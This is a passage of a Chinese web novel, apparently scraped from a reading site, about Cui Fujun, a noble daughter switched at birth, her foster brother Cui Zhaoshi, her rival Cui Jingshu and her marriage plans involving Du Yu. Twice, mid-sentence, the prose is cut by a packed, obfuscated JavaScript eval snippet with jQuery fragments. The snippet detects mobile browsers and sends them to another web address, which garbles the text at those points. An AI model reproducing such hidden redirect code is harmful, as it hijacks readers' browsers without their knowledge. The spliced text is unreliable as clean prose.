“本能亲近?我没有过这种感觉,我才不认他呢,在我心里,我的兄长只有你一人。”崔弗君神色认真,清亮的眼眸如同灼灼燃烧的烈焰,能烧到人的内心,完全不作伪的认真。 崔昭湜注视崔弗君,笑了,笑意清浅愉悦。 “我瞧瞧。” 崔弗君半垂眼帘,放下竹夹,献上自己的手臂:“也不是什么大事,就是他攥得重,留了印子。” 崔昭湜拉住崔弗君温热的手,推开袖口,动作自然熟稔,仿佛已经做过无数次了,然实际上这是兄妹两人自八年后第二次肢体接触。 感觉到崔昭湜微凉的体温,崔弗君很快地蹙了一下眉头。 “他为何会攥你的手腕?”目光之下,丰润盈白的腕子上出现一道深深的红印,有少许地方甚至有些发青,可见当时攥得非常用力。 崔弗君:“他原本是要掐我脖子的,我用手挡住了。” 崔昭湜没有问缘由,而是谴责道:“传闻不可信,没想到赵兄会是那般粗蛮之人,竟对女子动粗,不可理喻,妹妹日后勿要和他再有交集,即便遇到也一定要躲开。” “我都听阿兄的。” “阿兄,就知道你是向着我的。”崔弗君笑说。 崔昭湜弯唇:“这印子估摸得三五日才消,我给妹妹抹药吧。” “好。” 崔昭湜起身去取紫金膏,并拿了新的香放在熏炉烧,随即坐回来帮崔弗君上药,接着又检查了她被刮伤的手背,白痕已经淡到看不清了,不过他还是再次抹了药。 “阿兄,只是小伤,用不着紫金膏这般贵重药。” 崔昭湜:“再好的药也没妹妹金贵。” 崔弗君挑眉,高兴地享受崔昭湜的伺候。 “明日我再给你抹一次药,这印子大抵就消了。” “好。”崔弗君这回比从前情愿。 “身子没异样吧?” “没有。” 崔昭湜往茶釜中添碳,拿过竹夹继续烤,忽而听崔弗君小心翼翼道:“阿兄,有件事我很想问你。” “何事?” 半晌,崔弗君缓缓道:“我和崔静姝都是阿兄的妹妹吗?” 听言崔昭湜笑了一下,道:“自然。” “绛奴儿,你永远都会是我的妹妹。” 说着,崔昭湜伸手摸意欲摸崔弗君的脑袋以示安抚,却被崔弗君躲开,崔昭湜瞬息眯了一下眼眸,修长的手停滞在半空中。 气氛似乎变得有些微妙。 崔弗君解释道:“阿兄,摸头的话会长不高的。” 崔昭湜稀松平常收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169086|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,含笑说:“妹妹已然是女郎中很是高挑的人,还要长高?” “长得高,看得远。” 崔昭湜一笑。 崔弗君咬了一下红唇:“阿兄也是我一辈子的哥哥,所以......阿兄,倘若有一天我和崔静姝同时落水,你会先救谁?” 崔昭湜思量,道:“那对不住,我谁也救不了。” “阿兄这是何意?” “我不会凫水。” “假设阿兄会凫水呢?” “没有假设。” 崔弗君:“好吧。” 过了一会儿,崔昭湜将煮好的茶泼入茶碗,端到崔弗君面前:“茶好了。” “阿兄。”崔弗君拉住崔昭湜的衣袖,眼眸希冀,“倘若呢?” “就算阿兄不会凫水,但我和她掉进水里总得救人吧,命在旦夕,阿兄以为先救谁好?” “你会救谁?” 对上崔弗君的视线,崔昭湜颇为无奈,正要开口,又听崔弗君补充道:“阿兄,幼时我们兄妹关系最好,我还记得有一回我调皮,和阿兄捉迷藏,我躲到树上,但阿兄还是不费吹灰之力就找到我,我很懊恼,趴在树上不下来,结果不慎脚滑从树上掉下去,阿兄立刻就接住了我,没让我受一点儿伤。” 听到崔弗君说起往事,崔昭湜陷入回忆,小时候的崔弗君玉雪可爱,俏皮活泼,水灵灵的眼睛里盛满他一个人,天天围着他转,仿佛她的世界就只剩下他了。 “阿兄,阿兄。” “哥哥。” 叫阿兄叫腻了,便改口叫哥哥,一天一个变法。 说好一辈子在一起,说好兄妹两人永不分离,甚至崔弗君还和他拉钩,可是到最后崔弗君却背叛了他,背叛了兄妹之间的誓约。 背信弃义。 “阿兄,你在想什么?” 崔昭湜回过神,淡笑:“想起妹妹总喜欢做些危险的事。” “那些也不算是危险的事,就算是,不是还有阿兄吗?只要有阿兄在,我不会有事。” 崔昭湜:“是啊,幸好我在。” “阿兄,我的问题你尚未回答。” “就这么想知道?”崔昭湜无奈道。 崔弗君点头。 不论如何,都过去了,妹妹当时太小了,不懂事正常,现在她长大了,知事了,明白兄长的庇护有多重要了。 崔昭湜说:“我不会让妹妹有事。” 崔弗君微微张大眼睛,勉强压抑住上扬的嘴角:“真的?” “千真万确。” “阿兄,我就知道你对我最好了。”崔弗君言语中流露出依赖和欢喜,不知不觉,气氛逐渐轻松,捎上兄妹之间那股说不清楚的亲近韵味。 吃过茶,一旁的崔昭湜继续看书,崔弗君看着看着他眼皮打架,异常犯困,也不知什么时候,崔弗君自个就伏在案上睡了过去。 清浅的呼吸声传入耳朵里,崔昭湜放低书卷抬起眸子,注视崔弗君的睡颜,恬静乖巧。 看了一阵,崔昭湜唤:“妹妹?” 没有回应。 “真睡过去了。”崔昭湜摇摇头,感慨道,“和从前一样,还是睡着了最乖。” 11. 第 11 章 经过一日发酵,春风楼的事迅速传遍长安。 原本只是魏王意欲挽留崔弗君而被拒绝的事,然在经无数人之口流传,故事越发离谱。 其中最广为流传的谣言便是魏王对崔弗君情有独钟,可谓大情种,即便未婚妻崔弗君已然不是崔家嫡女,依旧只想娶崔弗君,被崔弗君拒绝之后仍不改痴情,甚至死缠烂打、上吊自残企图挽留崔弗君的心。 堂堂魏王殿下竟为崔弗君舍弃颜面和身段,着实令人震撼,若说是之前的崔弗君,魏王殿下如此情有可原,然目前崔弗君身份有变,已不值得如此。 魏王殿下和真正的崔氏女成亲才是正解,能娶五姓女对皇室而言同样是非常值得骄傲的一件事。 可魏王殿下竟公然舍弃崔氏女,只要那变成崔家表姑娘的崔弗君,说好听点是痴情,说不好听点就是糊涂,被美色诱惑,难成大器。 有的人是这样想的,但有的才子却以为魏王不慕名利,在这个讲究门当户对的世道为意中人对抗规则,着实无畏,当属天下痴情人之表率,才子们纷纷歌颂起魏王的痴情,一时间长安城内出现数不清的诗歌。 此事最先传到圣人的耳朵里,他把魏王叫过来,因崔相拒绝让崔弗君陪嫁,圣人对崔相有所不满,如今又听到这传言,圣人不悦,将魏王奚落一通,道他丢尽皇室颜面,让他赶紧把这事给处理掉。 魏王脸黑如锅底,应了是便要下去处理。 圣人叫住他:“你额头怎么回事?莫非真如流言那般?” “父皇误会,此乃儿臣不小心磕到。” “不是就好,赶紧把谣言都解决掉。” “儿臣省得。” 魏王退下,这件事他没敢让萧惠妃知晓,惠妃精神愈发不好了,哪怕有靖王妃在跟前照顾。 另厢崔弗君也听闻了长安城里的流言,颇为意外,她没料到事情会发展到如此地步,诚然她不愿和魏王有过多纠葛,可思及魏王吃瘪的样子,她就觉得能忍受一二。 与此同时,这件事也传到崔相耳朵里,从中书门下处理好政务回来,他便叫人唤崔弗君过来。 “你与魏王是怎么回事?” 崔弗君如实将春风楼的经过告知,崔相道:“近些日子莫要出门了。” “姑父放心。”崔弗君出奇的听话。 听言,崔相打量崔弗君,瞧着她的眉眼再无肆意娇纵,举止得体,却保持疏离,再不会扑过来抱住他的手臂。 若是之前,崔弗君从来不是喜欢窝在府里的人,大多时候都喜欢往外面跑,仿佛崔府是座牢笼。 有时候犯错被崔相罚禁足,乖的时候等禁足解,立刻跑出去野,脾气上来时更是无法无天,直接偷偷翻墙跑出去,崔相震怒,罚了崔弗君,结果下次她还犯,于是崔相又将她院子里那些助纣为虐的奴婢全罚了一遍。 崔弗君是个高傲的,向来犯错一力承担,也是个护短的,见崔相牵连她院中的无辜奴婢,终于收敛,不再翻墙出去。 回顾往事,再看此时的崔弗君,崔相心道,五娘长大了。 崔相欣慰,可欣慰之中又有些怅然若失,心仿佛揪成一团,瞬息的低落后,崔相内心坚如磐石,没有丝毫的动摇了。 “没旁的事了。” 崔弗君:“那我告辞了。” 崔弗君转身要走,步履犹豫一瞬回头:“姑父当珍摄身体。” 崔相“嗯”了一声,面色沉肃威严。 见此情形,崔弗君蜷缩手指,快步离开,却在这时,崔相叫住她:“等等。” “姑父还有何事?” 崔相莫名语塞,短暂的沉默后他道:“听说你近日喜欢往三郎的栖鹤堂跑?” “是。” “你和三郎......” “我和表兄和好了。” 崔相皱眉,沉声道:“五娘,你当真愿意和三郎和好?” 崔弗君道:“是,往事如过眼云烟,且我之前病了一场,对有些事已然记不太清了,表哥愿意继续当我的兄长,我也愿意当表哥的妹妹。” 崔相默然,定定注视崔弗君,不知此事是好是坏,诚然兄妹两人和好,延续兄友妹恭的佳话是天大的好事,可过去的前车之鉴让崔相有所担忧。 然现在的崔昭湜早就不是过去那个疯魔般的崔昭湜了。 “好,为父、我知道了。”崔相险些说错话,忙咳嗽一声掩饰。 “没旁的事了?” “莫要吵到他。” “我知道。” “另,既然留在府中,那日后少不了和静姝碰面,我不求你们姊妹友爱,只望你与她和气同处。” “......好。”崔弗君垂首,行礼告辞。 崔相目送崔弗君的背影,欲言又止。 刚出了书房,崔弗君就撞见提着食盒的崔静姝过来,两人狭路相逢,气氛凝固微妙。 崔静姝比之前气色好了许多。 “姐姐,你来找阿耶?”崔静姝见到崔弗君,诧异道。 崔弗君睨了崔静姝一眼,本来不打算理她,可顾念书房里的崔相可能听到,她才答应了会和崔静姝和睦同处,她不想让崔相为难......与其说为难,不如说崔弗君不想看到她和崔静姝不合后崔相和卢氏又站在崔静姝那边。 是以崔弗君道:“姑父找我,表妹过来找姑父?” “嗯,听闻阿耶下朝,我特意熬了参汤给阿耶补补身子。” “表妹自个身体尚未痊愈,却肯为姑父亲自熬参汤,孝心可鉴。”崔弗君走过去,压低声音道,语气不阴不阳。 崔静姝面不改色,高声道:“为了阿耶,这点辛苦不算什么,谢谢姐姐关心。” “对了。”崔静姝和崔弗君对上视线,低声,“姐姐不会介意阿耶吃我熬的参汤吧?毕竟姐姐可再没机会为阿耶做这些体己事了。” 崔静姝话语里满满都是嘲讽。 气氛剑拔弩张。 崔弗君反唇相讥道:“表妹多想了,我从来不做这些刻意讨好的事,我以为你有恃无恐,可现在看来你也会害怕,害怕姑父不喜欢你。” 她前脚刚来崔相书房,后脚崔静姝就提着汤过来,要说她没派人盯着崔相这边她是不信的。 此话落,崔静姝温婉娇弱到无懈可击的神色轰然变了,慌张恼怒、心虚窘迫的情绪在她变白的脸皮上浮现。 崔静姝攥紧手心,试图维持体面,强笑道:“不知姐姐在说什么。” “你装什么糊涂,你心里不是这样想的吗?”崔弗君冷笑。 崔静姝灰头土脸,这一场交锋她输的彻底。 崔弗君越过崔静姝,走前丢下一句话:“快去送参汤吧,这可是表妹亲自熬的,心意满满,只是姑父他可不喜欢吃劳什子的汤。” 跟她耍嘴皮子,崔静姝太嫩了。 崔静姝听到了,打起退堂鼓,可稍稍冷静下来,她便不信了,崔弗君说这些怕是为了吓唬她,不让她和崔相加深父女关系。 她嫉妒了。 崔静姝重拾自信,崔弗君说她怕崔相不喜欢她,她怕什么?该怕的应当是崔弗君。 “阿耶。”崔静姝柔声道。 “进来。” 崔静姝进来:“阿耶,没叨扰到您吧?” 崔相摇首:“你来作甚?” “我给阿耶熬了一碗参汤。”崔静姝小心翼翼献上食盒。 “你自己熬的?” “是。” 崔相皱眉:“何必亲自熬什么汤,交给仆妇做就好,你身子尚未好全。” “不妨事,我就想亲自熬汤给阿耶吃。” 崔相脸上没什么热切喜悦,只是道:“你有心了,但以后无须如此。” 崔静姝压下失落,点头。 “好了,我还有事你回去吧。” “是。”崔静姝咬牙。 “听夫人说,你近来识字读书非常努力,不错,但勤勉之时也莫要操之过急,欲速则不达,慢慢来,循序渐进。” “谨记阿耶教诲。”崔静姝行礼告退。 “还有件事,五娘留在崔府你可有怨言?” 崔静姝表露意外:“阿耶为何要问这些,姐姐能留在崔府我高兴还来不及。” 崔相凝视崔静姝。 崔静姝见状突然心虚,下意识低头,有那么一瞬,她感觉崔相似乎将她看穿了,心里的所有秘密和伪装俱无所遁形。 “没有便好。” 崔相幽幽道:“静姝,我不希冀你接受五娘,只望你与她相安相和。” 崔静姝从崔相的话语里听出了些许捉摸不透的言外之意。 “可听到了。” 崔静姝回过神,压下心头猝然生起的狐疑和不安,忙不迭应。 “好了,没旁的事了。” “阿耶,参汤您记得趁热吃。” 崔相点点头,崔静姝瞧了一眼纹丝不动的食盒,不甘心地离开,脑中浮现崔弗君的话,她立刻撇清那些狗屁话,心想阿耶定会吃的,他可是点了头。 崔静姝安心了,紧接着耳边又响起崔相的叮嘱,心跳加速。 莫非阿耶他知道...... 崔静姝两眼一黑,嘴唇不住哆嗦。 不可能,若是知晓,他不会向着她的。 不管如何,接下来她一定尽快拉近自己和崔相以及卢氏之间的关系,卢氏倒还好,很疼她,就是崔相,即便是她的亲生父亲,浑身也散发出一种疏离生分的气息,崔静姝也苦恼如何与崔相加深感情。 崔静姝有太多的事要做,她要把崔弗君在意的人全都抢过来,要狠狠将崔弗君踩在脚下,只是精力有限,眼下她暂时只能努力让自己配得上崔氏女的身份。 正式学了礼仪后她才发现,自己从前行礼的姿势都是错的,在魏王面前丢尽了颜面。 崔静姝自卑不已,后痛定思痛,愈发勉力。 另一方面,崔静姝也在努力维系自己在府中的地位,尽快融入崔府,和崔相以及卢氏成为真正的亲人。 至于崔昭湜,崔静姝有派人暗中盯着崔弗君的动静,知晓她近来和崔昭湜走的近,崔静姝当然看不惯,崔昭湜是她的兄长,崔弗君那个贱人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169087|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟和她的兄长走那么近,简直厚颜无耻。 上回崔弗君带着崔昭湜一道来赔礼,崔静姝便知崔昭湜和崔弗君关系好,两人之外就好像有一座高墙,将外头所有人都拦住,而高墙之内仅有崔弗君和崔昭湜两人,看不见的羁绊将两人死死捆住。 崔静姝恼火,却有心无力,而且崔静姝对崔昭湜这个温文尔雅的兄长,生不出一丝一毫的亲近。 崔昭湜对她而言太过陌生,且卢氏对崔昭湜亦是讳莫如深,也从没说过让她和崔昭湜多亲近的话,种种异样让崔静姝以为她这个胞兄很......说不上来的感觉,像......危险,又不像。 至于长安城中关于崔弗君和魏王的荒谬流言,崔静姝是在两天后才知晓。 纵然魏王加派人手处理谣言,可也无法堵住所有人的嘴。 这话传到崔静姝的耳朵里,她面色涨红,屈辱、愤怒、怨恨、嫉妒诸般情绪交织,以至于崔静姝维系不住伪装,大发雷霆,房间里一地狼藉。 若是赵母不曾动歪心思,崔弗君所有的一切都是她崔静姝的! 她崔静姝本该是这世间最幸福的人。 崔静姝好恨,恨赵家的歹毒,恨崔家的疏忽,恨崔弗君鸩占鹊巢,恨老天不公! 最恨的当属将她调换生养的阿娘。 阿娘没死之前,她总是喜欢打她骂她,可阿娘又会在赵父面前护她,崔静姝对她又爱又恨。 阿娘死了,崔静姝才知道她是个恶人,可她却无法彻底记恨阿娘,她思念她。 如今崔静姝彻彻底底恨死她了。 临死了竟然念叨着她的亲生女儿,可是她的亲生女儿从来没问过她。 招笑至极。 崔静姝面露嘲讽,恶毒地想她死了也是活该! 恨到最后,崔静姝眼眶通红,身上出现幻痛,蜷缩在被褥里,无声留下一行怨恨酸楚的热泪。 再给她些时间。 等着吧。 . 这厢崔弗君从崔相书房出来,便去崔昭湜院中,神采奕奕,让崔静姝吃了瘪,总算是宣泄了心中压抑的憋屈。 “妹妹这是撞到什么好事了?”崔昭湜好奇道。 崔弗君摸了摸脸:“有那么明显吗?” 崔昭湜轻笑。 崔弗君:“也不是好事,就是高兴。” 崔昭湜看着崔弗君。 崔弗君道:“姑父叫我过去问流言的事,我交代完遇到崔静姝了,阿兄,我知道她也是你妹妹,我可没欺负她,只是提醒她姑父不喜吃参汤罢了。” 根据崔弗君的性子,这“提醒”两字怕是大有文章,估摸是压了崔静姝一头,故而才会如此欢喜。 崔昭湜没问崔静姝什么事,而是道:“什么流言?” 崔弗君将长安城传的离谱流言告诉崔昭湜—— 与其说是告诉,不如说是发牢骚,非常生气地抱怨并痛骂那些传播流言的人。 崔昭湜:“是有些荒谬,妹妹安心,要不了多久,这些流言便会消失不见。” 崔弗君没好气道:“那还差不多。” “妹妹除了生气外,应当也是有些高兴吧。” “何以见得?”崔弗君惊讶。 崔昭湜:“猜的。” 崔弗君大方承认了:“是有点开心,想必魏王听闻这些谣言后的脸色很精彩,他不痛快我就痛快,谁让他竟然——” 崔弗君戛然而止,恶心道:“活该。” 崔昭湜注视崔弗君,从她的语气和神情上他察觉到浓厚的厌恶,这股厌恶从何而来? 他没追问什么,给崔弗君沏了一杯茶,崔弗君正好口渴,顺手接过他手里的茶杯将茶饮尽。 “手上的印子可消了?” “还有些。” “上药吧。” “有劳阿兄了。” 崔昭湜握住崔弗君的手,继续上药。 上药会产生肢体接触,不过崔弗君除了有些抵触之后,并不觉得这种兄妹之间的亲近有什么问题,没有逾矩,相反这算正常,是她喜闻乐见的事,她必须得从崔昭湜身上获取安全感和底气。 大周民风开化,男女之防本就不重,而她和崔昭湜又是兄妹,曾经朝夕相伴,无须计较什么。 说一会儿话,崔弗君又犯困了。 “阿兄,我有点乏了。” “睡吧。”崔昭湜温润平静的声线钻入崔弗君的耳中。 崔弗君闭上眼睛。 雅室安静无声,崔昭湜放下书卷,见豹狸过来,他挥手驱赶。 豹狸耳朵向后,嘴角下压,细弱地“喵”了一声控诉主人的冷漠和忽视,崔昭湜并未心软,豹狸见状只好委屈巴巴离开。 崔昭湜支起额角,一瞬不瞬盯着睡过去的崔弗君,目光从崔弗君的脆弱脖颈到她的五官,末了至她的头顶。 顿了顿,没忍住伸手摸了一下她的脑袋。 触感与记忆中一模一样。 崔昭湜弯眸,笑意吟吟。 好妹妹,哥哥已经不计前嫌了,希望你莫要让哥哥失望。 12. 第 12 章 已至深夜,崔弗君正欲安寝,半夏进来道:“娘子,夫人来了。” 崔弗君愣了一下。 转眼卢氏缓缓步入闺房,开口道:“绛奴。” 崔弗君忙不迭相迎,行礼恭敬道:“见过姑母。” “姑母深夜前来可有要事?”语气端正,尽显疏离。 卢氏默了默,略显生涩道:“来看看你,在这边过得可舒坦?” “尚可。”崔弗君垂眸,压下涌现的心头酸胀。 “只有一个侍婢,你可还习惯?” 崔弗君轻声道:“嗯,有半夏足够了。” 卢氏皱眉,随即打量半夏,挥手,半夏退下,屋里只剩下卢氏和崔弗君,即便如此,崔弗君亦未上前,保持礼数。 见状,卢氏主动伸手,意欲抓住崔弗君,却被其躲开,气氛突然尴尬死寂,卢氏面色一变,心情复杂。 卢氏道:“绛奴,你可是怪我?” 崔弗君:“没有,姑母多虑了。” “那你抬头。” 崔弗君照做,慢慢和卢氏对上视线,面色沉静,看不到丝毫的委屈和难过。 “先坐。”卢氏再度拉住崔弗君的手,这回崔弗君犹豫半晌,到底没有躲避,由着卢氏拉住手缓缓坐下。 “绛奴。”卢氏柔声唤道。 “我知晓你委屈,可静姝在外受苦多年,我这个当母亲的有责任补偿她,她又落了水......”卢氏语气心疼,说到后头顿了顿,“她身子不好,我当照顾左右,故而这些天才没来看你,冷落了你,望你谅解为娘、我。” 卢氏又言:“静姝落水的事因你而起,我无法不顾念静姝的感受来看你,她这些年在外着实苦,好在她本心温善,并未因此事记恨你。” 闻言,崔弗君攥紧手心,压下反驳的冲动,卢氏来看她说明心里有她,只她的话语让崔弗君看清卢氏内心的天平—— 卢氏向着崔静姝。 故而崔弗君说再多的话不过徒劳无功,即便卢氏明白崔静姝落水是刻意构陷,卢氏也不会相信,会给崔静姝找补。 而崔静姝之所以有恃无恐,正是拿捏住卢氏以及崔相对她的愧疚。 崔弗君又一次切身体会到父母的偏爱转移,她理解的,只照旧没法控制委屈与酸楚。 不过好在她已认清事实。 卢氏和崔相并非她的父母,而是她日后需要敬重的长辈。 “嗯,姑母,我理解,我也同表妹赔过礼了。”崔弗君咽下这颗苦果。 卢氏目视崔弗君,补充道:“绛奴,静姝落水的事我清楚你不是故意为之,所以落水的事就此揭过,你和静姝都是我的孩子,从今往后我希望你和静姝消除隔阂,好好相处,你们是姊妹,当友爱和睦。” 说着,卢氏握住崔弗君的手,轻轻抚摸她的手背。 “嗯。”崔弗君低头细声道。 “静姝刚回府,很多事非常生疏,你作为她的阿姊,日后多教导多担待,也多多照拂她,尽一尽阿姊的责任,你可否答应姑母这个请求?”卢氏期盼地看着崔弗君。 感受到卢氏的期待,崔弗君最终慢吞吞点了点头。 卢氏展颜。 气氛和缓。 随后卢氏和崔弗君说了些体己家常话,两人之间那种微妙的疏离感有所消弭。 “绛奴,在我心中,你依旧是我的孩子,私底下的时候,你无须叫我‘姑母’。” 卢氏的言下之意昭然若揭,崔弗君却没有领情,而是道:“姑母,这不合适。” “只是私底下而已。” 崔弗君:“那也不成。” 听言,卢氏心里蓦然空了一块,这孩子终究还是和她见外了。 卢氏自责不已,十分厌恶那个农妇,恨她起歹心将她的孩子调换,又恨农妇不将秘密瞒一辈子反而半道抖出来...... 卢氏无奈叹了一口气,也没强求,道:“过几日我要带静姝回卢家,你要和我们一起吗?你几个表哥都很担心你。” 崔弗君摇头:“姑父和表妹去吧。” “真的不见一见?” 崔弗君如实道:“去了也只是徒增尴尬。” 卢氏沉默,复又言:“你近来可是常去你阿兄的院里?” “是。” 卢氏拧眉:“为何如此?” “没有为何,就是想去。” 卢氏语重心长:“绛奴,你莫要和他走得太近。” “姑母,我自有分寸,阿兄现在不是很好么?” 卢氏回想崔昭湜那样子,没有欢喜,满是反感,她面色凝重道:“绛奴,你勿要忘记他曾经对你做过什么。” 送走卢氏,崔弗君静静坐在茵褥上,回想方才卢氏的叮嘱,她面露自嘲。 和卢氏当了十多年的母女,卢氏对她可谓宠溺至极,两人感情深厚,是以崔弗君不恨卢氏不相信她,不恨卢氏偏心崔静姝,她只是委屈难过,感觉自己被抛弃了,不再是父母的第一选择。 卢氏来看她了,崔弗君很高兴,高兴之余心房又酸又胀,堵得慌。 回不去了。 崔弗君突然想吃酒,便叫半夏去提酒过来。 一坛子清酒下肚,崔弗君没有半分醉意,遥望窗外的月亮,凄凉冷清。 永怀愁不寐,松月夜窗虚。 崔弗君敬自己一杯酒,又诵读道:“长风破浪会有时,直挂云帆济沧海!” “仰天大笑出门去,我辈岂是蓬蒿人!” 吃酒消愁,诵读解郁,宽慰己心,崔弗君情绪好转,睡了一个不错的觉。 约莫是崔弗君连日诚心礼佛祈祷,以至于今夜她又做了堪比预知的梦。 在梦里,三月科考放榜,登科的进士与往年一致,仅二十人,而这其中便有杜瑜,因年轻俊美,在杏园宴上被封探花郎。 尔后便是一转,崔弗君看到朝堂之上的杜瑜身着紫袍,背襟绣风池纹,配金鱼袋,俨然是一国宰辅,手握重权。 崔弗君醒来,觉着奇怪。 她缘何会梦到杜瑜? 崔弗君百思不得其解,细细琢磨梦境里的事,她很意外,若她没看错,杜瑜当真成了大周未来的宰辅。 至于旁的,崔弗君俱看不清,也不知那时的圣人是何人,自然无法知晓是几年后了。 然而崔弗君可以肯定——但凡梦境的事如实发生,杜瑜当真登科及第,又被封探花郎,那他未来会成为宰辅的事不会有误。 未来会成为宰辅的人自然入得了崔弗君的眼儿,且杜瑜出身士族,长相出挑至极,品行端庄。 这样的人不就是一个香饽饽吗? 一个念头顺势冒出,既要择婿,那杜瑜不就是目前为止最好的人选吗? 崔弗君豁然开朗,越想越以为可行。 从前她喜欢魏王那样意气风发、旗鼓相当的男子,现在她觉得杜瑜也不错。 且她若是要嫁给杜瑜没有那么困难。 长安城中流传“城南韦杜,去天五尺”的俗谚,可见京兆韦杜的辉煌地位,可那是之前了,如今的杜氏早就不再是鼎盛时期,日益没落。 过去韦杜同气连枝,常联姻通婚,韦氏为第一外戚,而杜氏为亲家,两家结党营私,势力庞大,然权力轮换,当今圣人践祚,吸取过去旧事,打压士族,朝堂势力洗牌。 圣人清算了韦杜一党,杜氏遭到沉重打击,家族元气大伤,多年过去,杜氏也没调整过来,在朝堂上举步维艰,族中弟子多是任闲职,没有什么影响力,杰出子弟寥寥无几,趋于平庸,且杜氏内部分化严重,各自发展,和光同尘,再无法现当年辉煌。 这便是如今杜氏的情况,令人唏嘘。 曾经作为崔氏女,崔弗君对长安城各士族的大体情况有所了解。 杜氏没落,之前崔弗君便不曾考虑过杜瑜此人,可做了这个梦,她的想法改变。 欲嫁五姓,比登天还难,可若是嫁杜氏,倒是有机会,毕竟她现在的身份好歹也是博陵崔氏的表姑娘,和崔氏沾亲带故,也配得上此时的杜氏。 只是...... 崔弗君不知道杜瑜有没有定亲,依照杜瑜的年岁,一般而言俱已定亲。 崔弗君对杜瑜家中情况不了解,若是定亲,那崔弗君也不屑于此了,若是没有,那倒是可考虑。 心中定下盘算,崔弗君立刻让半夏出去打听消息,叮嘱半夏此事要隐秘,不得让任何人知晓,半夏领命找了个幌子出去打听,而她则是继续去栖鹤堂那边与崔昭湜联络感情。 只是两日的功夫,半夏便将杜瑜的消息打听得七七八八,非常详细。 杜瑜属杜氏支脉,今岁十九,父病逝,母健在,排行第二,大兄去岁病逝,长姐两年前出嫁,有个十五岁弟弟,家住城南,品行端正,读书刻苦,无不良喜好,尚未婚配。 除此外,半夏还打听到两日后杜母将会携同杜瑜前往白马寺,为即将开始的科考祈福。 崔弗君对此很吃惊,杜瑜竟尚未婚配?不管如何,情况对自己有利。 只她尚且踌躇,她本意是多番盘算,俗话说狡兔三窟,毕竟是自己的终身大事,不过她可与杜瑜多多接触。 但她若是一个人去怕是不太合适,未来她的婚事须得仰仗崔昭湜来解决。故崔弗君决定带上崔昭湜一道去,也好让崔昭湜先熟悉杜瑜,听听他对杜瑜的看法。 崔弗君随口一说去白马寺为崔昭湜科考祈福,崔昭湜便应声答应。 白马寺香火旺盛,祈福是出了名的灵验。 崔弗君之前也陪卢氏去过。 临近二月,天气逐渐回暖,崔弗君和崔昭湜一道乘坐马车前往白马寺。 半夏办事能力出色,竟连杜家出门的时辰都打探好了,崔弗君起初还担心半夏办不好事,现在看来是她多想。 本来崔弗君是想骑自己的宝马,可她的玉花骢全长安城的人都知道是她崔弗君的。 殊知那可是圣人御赐的西域宝马,长安城内仅有崔弗君这一个士族贵女拥有,可谓是无上的荣耀。 崔弗君不想太引人注目。 思及此,崔弗君自嘲一笑,她崔弗君从前是何许人也?轰轰烈烈,巴不得所有人都知道是她,可现在她却不想招人注意了。 若是之前的崔弗君,若有人在她耳边说自己变了,她定会动怒,骂那人狗嘴里吐不出象牙,胡言乱语。 崔弗君归为平静:“阿兄是头一回去白马寺?” 崔昭湜点头:“有所耳闻。” “白马寺祈福极为灵验,很多达官显贵都会去,我想只要求过白马寺的菩萨,阿兄定会文星高照,一举登科!” 崔昭湜含笑说:“承妹妹吉言了。” 不多时白马寺到了,崔弗君戴好帷帽,随同崔昭湜下马车,算着时辰,杜家的马车也快到了。 崔昭湜先下马车,自然而然伸出手,崔弗君看着半空中的手,想了想说:“阿兄,我又不是小孩子了,下个马车而已。” 崔昭湜回道:“妹妹在我眼里永远是小孩。” 崔弗君有些不快,无奈搭上去,耳边听到崔昭湜的一句:“当心。” 崔弗君踩杌子安安稳稳下了马车,立刻把手给抽回来。 崔昭湜见怪不怪,面色如常。 “阿兄,前面便是白马寺了。” 崔昭湜打眼望去,寺庙庄严,宝殿巍峨,门口男女老少,成群结队,熙熙攘攘,人头攒动。 来祈福的人非常多。 “人真多啊。”崔弗君蹙了下眉头。 “阿兄,进去吧。” 话音刚落,又一辆马车行驶而来,彼时刚好崔家马车旁边有空位,那驭夫遂将马车停在旁边。 须臾,马车里下来三个人。 崔弗君有心留意,斜眼看去,正正好瞧见扶母亲下马车的杜瑜,另一个少年和杜瑜肖似,想来便是杜瑜的胞弟。 因白马寺来往的人多,崔昭湜道:“等会再进去罢。” 崔弗君:“好。” 也就是这等一等的功夫,后头的杜瑜便过来了。 他下马车后就察觉到前头那通红的艳色,心头一动,不露痕迹打量,觉得那女郎背影眼熟,后目及女郎旁边的公子,杜瑜又打消了不切实际的猜想,和家人进寺门。 崔弗君目送杜瑜进去,道:“阿兄,那人有点眼熟。” “妹妹认识?” “也算认识吧,就是有过一面之缘,阿兄可还记得我之前提及过的杜瑜?” “记得。” “方才那人有些像。” 崔昭湜道:“进去了便知晓了。” 兄妹两人进得白马寺,因来往的香客众多,寺里头招待香客的小沙弥人手不足,崔昭湜对白马寺一无所知,好在崔弗君知晓白马寺的文殊菩萨宝殿在哪里。 崔弗君领着崔昭湜到宝殿,帷帽之下,她左顾右盼,也收到不少人的注目。 她的红衣过于瞩目。 崔昭湜语气平常:“妹妹在看什么?” 崔弗君吓了一跳,回话道:“没看什么,就是许久没来白马寺,有些怀念。” “以前我常和姑母来。”崔弗君语气有点儿伤感。 崔昭湜道:“妹妹日后若是想来便来。” 崔弗君:“可我不想一个人来。” 崔昭湜:“我陪妹妹便是了。” 